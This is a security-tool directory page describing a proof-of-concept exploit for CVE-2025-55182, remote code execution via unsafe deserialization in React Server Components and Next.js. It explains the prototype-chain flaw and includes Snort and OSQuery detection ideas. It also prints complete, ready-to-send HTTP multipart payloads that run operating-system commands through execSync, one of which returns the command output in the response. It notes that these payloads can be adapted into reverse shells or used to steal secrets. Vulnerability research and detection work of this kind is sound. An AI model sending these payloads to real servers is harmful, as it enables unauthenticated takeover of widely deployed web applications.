Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2025-55182 — Proof-of-concept exploit demonstrating remote code execution via insecure deserialization in React Flight protocol (CVE-2025-55182). Includes Snort and OSQuery detection rules. | Kitploit
Tools/GitHubGitHub/phucc29/cve-2025-55182
Vulnerability AnalysisExploitationWeb Application ExploitationPapers & ResearchLearning & Education
GitHubphucc29/cve-2025-55182

CVE-2025-55182

Proof-of-concept exploit demonstrating remote code execution via insecure deserialization in React Flight protocol (CVE-2025-55182). Includes Snort and OSQuery detection rules.

View Repository
41 month agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

Understanding React Server Components and the Flight Protocol

React Server Components is a feature introduced in React 19 that allows components to be rendered on the server instead of in the client's browser. The server can handle complex computational tasks while only sending the rendered result to the client.

Communication between the server and client in RSC is based on the React Flight protocol. This protocol handles the serialization and deserialization of data passed between the server and client. When a client needs to call a server-side function (Server Action), it sends a specially formatted request containing serialized data for the server to deserialize and process.

The Flight protocol uses a specific serialization format with data type markers. For example:

  • $@ denotes a reference to a chunk.
  • $B denotes a reference to a Blob.
  • References can include property paths using colons as separators (e.g., $1:constructor:constructor).

This serialization mechanism is exactly where the vulnerability resides. The server processes these references without properly validating that the requested properties are actually valid exports from the intended module.

Nature of the Vulnerability

CVE-2025-55182 is essentially an unsafe deserialization vulnerability in how RSC handles incoming Flight protocol payloads. The vulnerability exists in the requireModule function of the react-server-dom-webpack package.

root@kitploit:~
function requireModule(metadata) {  
 var moduleExports = __webpack_require__(metadata[0]);  
 // ... additional logic ...  
 return moduleExports[metadata[2]];  // VULNERABLE LINE  
}  

The critical flaw lies in the bracket notation access: moduleExports[metadata[2]]

In JavaScript, when accessing a property using bracket notation, the JavaScript engine does not only check the object's own properties but also traverses the entire prototype chain. This means an attacker can reference properties that are not explicitly exported by the module.

Most importantly, every function in JavaScript has a constructor property pointing to the Function constructor. By accessing someFunction.constructor, an attacker obtains a reference to the global Function constructor, an object that can execute arbitrary JavaScript code when called with a string argument.

The vulnerability becomes exploitable because React's Flight protocol allows the client to specify these property paths through colon-separated reference syntax. An attacker can craft a reference like $1:constructor:constructor, which will perform the following traversal:

  • Retrieve chunk/module number 1
  • Access its .constructor property (obtaining the Function Constructor)
  • Access .constructor once more (still the Function Constructor, but confirming the access chain)

Exploitation Chain

Stage 1: Creating a Fake Chunk Object

The PoC begins by sending a multipart form request with three fields. The first field contains a deliberately crafted fake Chunk object:

root@kitploit:~
{
  "then": "$1:__proto__:then",
  "status": "resolved_model",
  "reason": -1,
  "value": "{\"then\":\"$B1337\"}",
  "_response": {
    "_prefix": "process.mainModule.require('child_process').execSync('xcalc');",
    "_chunks": "$Q2",
    "_formData": {
      "get": "$1:constructor:constructor"
    }
  }
}

This object mimics the internal structure of React's chunk class. By setting then to reference Chunk.prototype.then, it creates a self-referential structure. When React processes and awaits this Chunk, the then method is called with the fake Chunk as the this context.

Stage 2: Exploiting the Blob Deserialization Handler

The next critical component is the $B1337 reference. In React's Flight protocol, the $B prefix denotes a Blob reference. When React processes a Blob reference, it calls a function that uses: response._formData.get(response._prefix + id)

Here, the _response object has been injected with malicious properties. When the Blob handler executes: response._formData.get(response._prefix + id)

It actually performs: Function("process.mainModule.require('child_process').execSync('xcalc');1337")

The reason is that _formData.get is set to $1:constructor:constructor, a reference that resolves to the Function constructor. The _prefix value contains the malicious code. When combined, the Function constructor is called with the malicious string as an argument, creating and executing a function containing arbitrary JS code.

Stage 3: Code Execution

The payload process.mainModule.require('child_process').execSync('xcalc') demonstrates the capability of this exploit. The payload:

  • Accesses process.mainModule (the main module currently being executed)
  • Uses the require method to load the child_process module
  • Calls execSync to execute an operating system command
  • In this case, opening the calculator application (xcalc) to demonstrate successful exploitation

This payload can be modified to establish a reverse shell, extract environment variables containing secret information, read sensitive files, or perform any operation that the Node.js process has permission to execute.

Analyzing a Real-World PoC

Here is a complete request from maple3142's PoC:

root@kitploit:~
POST / HTTP/1.1
Host: localhost
Next-Action: x
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Length: [Độ_dài_thực_tế_của_body]

------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"

{
  "then": "$1:__proto__:then",
  "status": "resolved_model",
  "reason": -1,
  "value": "{\"then\":\"$B1337\"}",
  "_response": {
    "_prefix": "process.mainModule.require('child_process').execSync('xcalc');",
    "_chunks": "$Q2",
    "_formData": {
      "get": "$1:constructor:constructor"
    }
  }
}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"

[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--

The Next-Action: x header triggers React's Server Action handling mechanism. The body consists of 3 parts:

  • Field 0: The fake Chunk object containing the malicious _response structure.
  • Field 1: The $@0 reference pointing back to field 0, creating a self-referential structure.
  • Field 2: An empty array, completing the request structure.

When the server processes this request, it deserializes field 0, encounters the $@0 reference in field 1, sets up the self-referential then property, then triggers the Blob handler, which executes code through the Function constructor.

Affected Versions and Attack Surface

CVE-2025-55182 affects React Server Components in the following versions:

  • React 19.0.0, 19.1.0, 19.1.1, and 19.2.0.
  • Next.js from 14.3.0-canary.77 onward, all 15.x releases, and 16.x releases prior to being patched.
  • Other frameworks using RSC such as React Router, Waku, Redwood SDK, and many other RSC plugins.

This vulnerability is dangerous because:

  • Default configurations are affected: A standard Next.js application created with create-next-app can be exploited without any source code changes.
  • No authentication required: The attack can be carried out without any credentials.
  • High reliability: Security researchers report a near 100% exploitation success rate.
  • Widespread deployment: Data from Wiz Research shows that 39% of cloud environments contain vulnerable versions.

According to Shodan, there are more than 571,000 public servers using React components and 444,000 servers using Next.js. Although not all of them run affected versions, the potential attack surface is enormous.

Detection

An attack request must necessarily have a combination of the following very specific elements:

  • Headers: Contains the Next-Action header and the data format is multipart/form-data.
  • Payload:
    • Contains the specific form-data declaration string: name="0"
    • Contains malicious properties such as "status": "resolved_model" (the original document mistakenly wrote "reserved_model" above, but the standard rule is resolved)
    • Contains the string "then":"$1:proto:then" — this is an extremely accurate indicator that an adversary is attempting to manipulate the RSC mechanism from the outside.

Two Detection Mechanisms

Network Monitoring with Snort

How it works: This Snort rule will block/alert on network traffic directed to the server (to_server) that exhibits all the anomalies mentioned in section 2 (Headers + PCRE checking for the malicious payload string).

Purpose: Detect and prevent exploitation behavior as it is happening on the network.

Vulnerability Scanning with OSQuery

How it works: Run a periodic scan command on servers or within the software build process (CI/CD) to find affected Node.js library packages (npm_packages).

Target packages: react-server-dom-parcel, react-server-dom-turbopack, and react-server-dom-webpack

Vulnerable versions scanned: 19.0.0, 19.1.0 up to below 19.1.2, and 19.2.0.

Purpose: Proactively detect at-risk applications before they reach the Production environment.

Payload for the lab:

root@kitploit:~
POST / HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0
Next-Action: x
X-Nextjs-Request-Id: b5dce965
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9
Content-Length: 740

------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"

{
  "then": "$1:__proto__:then",
  "status": "resolved_model",
  "reason": -1,
  "value": "{\"then\":\"$B1337\"}",
  "_response": {
    "_prefix": "var res=process.mainModule.require('child_process').execSync('id',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});",
    "_chunks": "$Q2",
    "_formData": {
      "get": "$1:constructor:constructor"
    }
  }
}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"

[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--

Download Tool